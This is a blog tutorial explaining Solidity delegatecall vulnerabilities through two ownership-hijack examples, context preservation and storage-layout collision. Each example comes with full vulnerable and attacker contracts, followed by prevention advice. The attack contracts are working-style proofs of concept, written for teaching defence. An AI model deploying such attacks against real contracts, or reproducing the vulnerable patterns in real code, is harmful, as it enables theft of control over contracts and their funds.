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Preventing Vulnerabilities in Solidity - Delegate Call

· 13 min read

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Introduction

Despite being a fairly new programming language, Solidity is widely adopted by many developers. It is used to compile the bytecodes of many Ethereum smart contracts available today.

However, the downside to its newness is revealed in specific bugs and vulnerabilities affecting users and developers in the past. This article talks about one of these vulnerabilities, and the preventive techniques that can be implemented against it.

DelegateCall Attack

Before we dive into the concept of the DelegateCall Attack, we will first discuss how solidity interacts and sends messages to contract functions. In Solidity, there are two low-level interfaces to perform such operations. These interfaces are known as Call and DelegateCall.

The Call Interface

The call function or opcode sends standard external message calls to contracts. In a call function, the code is executed under the conditions of the external contract/function (caller or receiver). Let us consider the code below to understand how the call function works.

// CALLEE OR RECEIVER
contract Receiver
{

uint256 public x;
function test(uint256 _x) public
{
x = _x;
}
}

// CALLER
contract Caller
{
uint256 public x;
function calltest(address _a) public
{
(bool success,) = _a.call(abi.encodeWithSignature("test(uint256)", 45));
require(success, "This call was unsuccessful");
}
}

You can copy the code and run it on your editor, or you can deploy it on Remix. Notice that whenever the caller (Caller -> calltest) is executed, the “test” gets called, and the value of “x” in the receiver is set to 45.

NOTE: you can use the call function to perform operations such as sending gas or ether You just need to pass the required parameters.

DelegateCall

The DelegateCall is quite similar to the Call opcode/function. The difference is, however, that the code is executed in the context of the caller rather than the callee. Another difference is that msg.sender and msg.value remains unchanged. Simply put, DelegateCall preserves the context of the caller. The storage layout for the caller and the receiver must be the same when using a DelegateCall.

This feature of solidity makes it possible for libraries to be implemented so that developers can write reusable code for future contracts. Let’s look at a quick example of DelegateCall in solidity.

//RECEIVER
contract A
{

uint256 public x;
function assignX(uint256 _x) public
{
x = _x;
}
}

// CALLER
contract B
{
uint256 public x;
function callassignX(address _a) public
{
(bool success,) = _a.delegatecall(abi.encodeWithSignature("assignX(uint256)", 55));
require(success, "This Delegate Call was not successful");
}
}

When you deploy the code on Remix or any editor of your choice, and you execute the caller, (B -> callassignX), you will notice that assignX() gets called and the value of “x” in the receiver is 0, while the value of “x” in the caller is 55.

Although the differences between the Call and DelegateCall appear to be very simple, the use of DelegateCall can lead to unexpected occurrences in your code and give you unpleasant experiences(really, this can give you nightmares if not properly managed.)

For further reading on call and DelegateCall, see Solidity Docs or this question on Ethereum Stack Exchange.

The Vulnerability Of DelegateCall

Let us explore the vulnerabilities of DelegateCall. These vulnerabilities are a result of two key features of DelegateCall. These features are

  1. The context-preserving nature of DelegateCall
  2. Ensuring that the storage layout of both the Caller and Receiver is the same.

Context Preserving Vulnerability

Let us explore what happens when you forget that DelegateCall preserves context. Take a look at this simple example.


contract Vulnerable {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

In the above code, Vulnerable is a contract that makes use of DelegateCall to execute a call. From this code, it does not seem possible for the owner of the Vulnerable to be changed. This can, however prove to be false because an attacker can easily take control of the contract. Let us see how that is possible.

The contract sets the owner state variable inside of the constructor. It also contains a fallback function. Let’s have a look at the fallback function.

 fallback() external payable {
address(lib).delegatecall(msg.data); //delegatecalls to lib
}

We can see here that the fallback function makes use of the DelegatCall. The fallback simply delegates the call to the state variable lib. Harmless, right? We’ll see about that. lib is another contract set inside the constructor. Let’s see this.

constructor(Lib _lib) {
owner = msg.sender; //owner variable
lib = Lib(_lib); //lib is another contract set inside the constructor
}

What does the contract, lib do? Let’s take a look.

contract Lib {
address public owner;

function setowner() public {
owner = msg.sender;
}
}

From the above code, we can see that the contract lib declares a single state variable called owner. It also defines a single function called setowner. which assigns the value of the owner to msg.sender. Pretty easy, right?

How can the owner of the Vulnerable contract be changed?

To hijack the Vulnerable contract or change its owner, we have to update the owner state variable to the hijacker's address. To do this, we must find a way to interact with the Vulnerable contract at all costs. This can be achieved by invoking the fallback function.

Fallback functions are invoked when a function that doesn’t exist inside a particular contract is called.

So, all we have to do is call a function that isn’t within the Vulnerable contract.

Let us create a new contract and call it AttackVulnerable.

contract AttackVulnerable {
address public vulnerable;

constructor(address _vulnerable) {
vulnerable = _vulnerable;
}

function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}
}

From the above code, the first thing that is done is to define a variable to store the address of the Vulnerable contract. The actual value will be set when the contract is deployed. This value is then passed into the constructor.

constructor(address _vulnerable) {
vulnerable = _vulnerable;
}

Inside the contract, we also have a function called attack(). This function makes a call to the vulnerable contract. It seems harmless, but with a closer look, we can observe that it is trying to call the setowner() function which is inside an entirely different contract. The attack() function is passing in the function signature of setowner() as its msg.data

function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}

This attempt of the attack() function will trigger the fallback() function inside the Vulnerable contract. If we recall, the fallback() function makes a delegatecall to the Lib contract and sends the msg.data to it. But how does this affect the Vulnerable contract?

  • Since the fallback function sends the msg.data, which matches the setowner() function to the Lib contract, the setowner() function is called.
  • The setowner() function then updates the owner variable.
  • Since the delegatecall runs its code using the storage of the Vulnerable contract, the owner variable that will be updated is the one inside the Vulnerable contract.
  • The setowner() function sets the owner variable to msg.sender and since msg.sender refers to the caller of Vulnerable, in this case, AttakVulnerable, the new owner will be AttackVulnerable.

Find the full code here:

pragma solidity ^0.8.13;
/*
1. OwnerA deploys Lib
2. OwnerA deploys Vulnerable with the address of Lib
3. Attacker deploys AttackVulnerable with the address of Vulnerable
4. Attacker calls AttackVulnerable.attack()
5. Attack is now the owner of Vulnerable
*/

contract Lib {
address public owner;

function setowner() public {
owner = msg.sender;
}
}

contract Vulnerable {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

contract AttackVulnerable {
address public vulnerable;

constructor(address _vulnerable) {
vulnerable = _vulnerable;
}

function attack() public {
vulnerable.call(abi.encodeWithSignature("setowner()"));
}
}

Storage Layout Vulnerability

To get a proper understanding of this vulnerability, we need to know how Solidity stores state variables. Check this article to find out about that. Done? Now, let’s move on.

By now, we already know that when a delegatecall is used to update storage in Solidity, the state variables have to be declared in the same order. But what happens if we forget to declare the variables in the same order or declare the wrong type? Disastrous things, my friend! Now, let’s find out how this is possible.

First, let us create the two contracts, Lib and Vulnerable:

contract Lib {
uint public num;

function performOperation(uint _num) public {
num = _num;
}
}

contract Vulnerable {
address public lib;
address public owner;
uint public num;

constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

function performOperation(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("performOperation(uint256)", _num));
}
}

In the above code, we have two contracts. The first contract, Lib, defines a state variable called num. It also has a function called performOperation(). This function simply updates the value of num.

In the second contract called Vulnerable, three state variables are defined. These are lib, owner, num. The contract assigns the value of lib to the address of the Lib contract. It also sets the value of owner to msg.sender. Both of these operations are done in the constructor. Have a look:

 constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

Finally, the Vulnerable contract also has a function called performOperation() which takes in a unit, just like Lib.performOperation(). Vulnerable.performOperation() makes a delegatecall using the address of the Lib contract. Inside the delegatecall, it makes a request to the performOperation() function inside the Lib contract.

Now, let us make some observations. We first notice that the contract Lib declares only one state variable, but the contract Vulnerable declares three state variables.

This is the weak spot where any attacker will try to start exploiting the contract, Vulnerable.

As we did in the last example, let us see how the owner of the Vulnerable contract can be hijacked because of this mistake. Take a look at this contract written to attack the Vulnerable contract:

contract AttackVulnerable {

address public lib;
address public owner;
uint public num;

Vulnerable public vulnerable;

constructor(Vulnerable _vulnerable) {
vulnerable = Vulnerable(_vulnerable);
}

function attack() public {
vulnerable.performOperation(uint(address(this)));
vulnerable.performOperation(9);
}

// function signature must match Vulnerable.performOperation()
function performOperation(uint _num) public {
owner = msg.sender;
}
}

From the above code, our attacker is the contract called AttackVulnerable. The first thing we observe is that this contract has three state variables. These variables are in the same layout as the ones in the Vulnerable contract. It also has a state variable that holds the address of the Vulnerable contract. The actual value of the variable is assigned in the constructor

   // The storage layout is the same as Vulnerable
// This will allow the attacker to correctly update the state variables
address public lib;
address public owner;
uint public num;

//The state variable to store the address of the contract, Vulnerable
Vulnerable public vulnerable;

//constructor
constructor(Vulnerable _vulnerable) {
vulnerable = Vulnerable(_vulnerable);
}

Next, the attacker defines a function called attack(). In this function, the attacker calls the performOperation() function inside the Vulnerable contract twice.

    function attack() public {
// override address of lib
vulnerable.performOperation(uint(address(this)));
// call the function performOperation() with any number as input.
vulnerable.performOperation(9);
}

  • In the first call, the attacker passes his address as an argument to the Vulnerable.performOperation() function.
  • However, Vulnerable.performOperation() takes a uint as its argument. To overcome this, the attacker cleverly casts his address to uint.
  • When the first call is executed, it will call the performOperation() inside the Vulnerable contract. The value of num will be the address of the attacker casted into a uint.
  • Vulnerable.performOperation() will then delegatecall to the Lib contract. This will call the performOperation() function inside the Lib contract.
  • Once this function is called, it will proceed to update the state variable inside it. This will set the state variable to the address of the attacker.
  • Back inside the Vulnerable contract, the first variable will be updated since only the first variable in the Lib contract was updated. This is due to how Solidity stores state variables
  • Since the first variable in the Vulnerable contract is the address of the Lib contract, the address of the Lib contract will be updated to the address of the AttackVulnerable contract.

At this point, the execution of the first call is completed. So what happens when the second call, vulnerable.performOperation(9); is made? Let’s find out:

  • When this is called, it will call the performOperation() function inside the Vulnerable contract, as expected.
  • Remember that the Vulnerable.performOperation() function makes a delegatecall to the Lib contract by using the value stored in the lib state variable. However, the value of the lib variable has been updated by the previous call. This means the function will make a delegatecall to the AttackVulnerable contract.
  • Once a delegatecall has been made to the AttackVulnerable contract, the AttackVulnerable.performOperation() function is called. Let’s have a quick look at what the function does:
    function performOperation(uint _num) public {
owner = msg.sender;
}
  • From the above code, we can see that it updates the owner state variable. But in this case, which owner state variable is going to be updated?
  • Since the whole operation runs inside the context of the Vulnerable contract, the owner state variable that will be updated is the one inside the Vulnerable contract.
  • Also, since msg.sender is the attacker’s address, Vulnerable's address will be updated to the attacker’s address, making him the new owner of the Vulnerable contract.
  • Once again, our contract has been hijacked dues to the inappropriate use of delegatecall.

How To Prevent Attacks From DelegateCall

Solidity provides the Library keyword that helps to ensure our library contracts are stateless. We could have used a library keyword when writing our Lib contract in both examples. Using this, our Lib contract would have had to use stateless variables and not be a victim of the attacks.

Generally, always pay careful attention to which context your code runs in. Also, try to use stateless libraries whenever possible.

If you cannot go stateless, ensure that you pay close attention to the layout of all your state variables. As we have seen, neglecting this can be very dangerous.

About the Author

Oyeniyi Abiola Peace (@iamoracle) is a blockchain software and full-stack developer with over five years of experience in JavaScript, Python, PHP, and Solidity. He is currently the CTO of DFMLab and a DevRel Community Moderator at the Celo Blockchain. When not building or teaching about blockchain, he enjoys reading and spending time with loved ones. You can check my blog at iamoracle.hashnode.dev.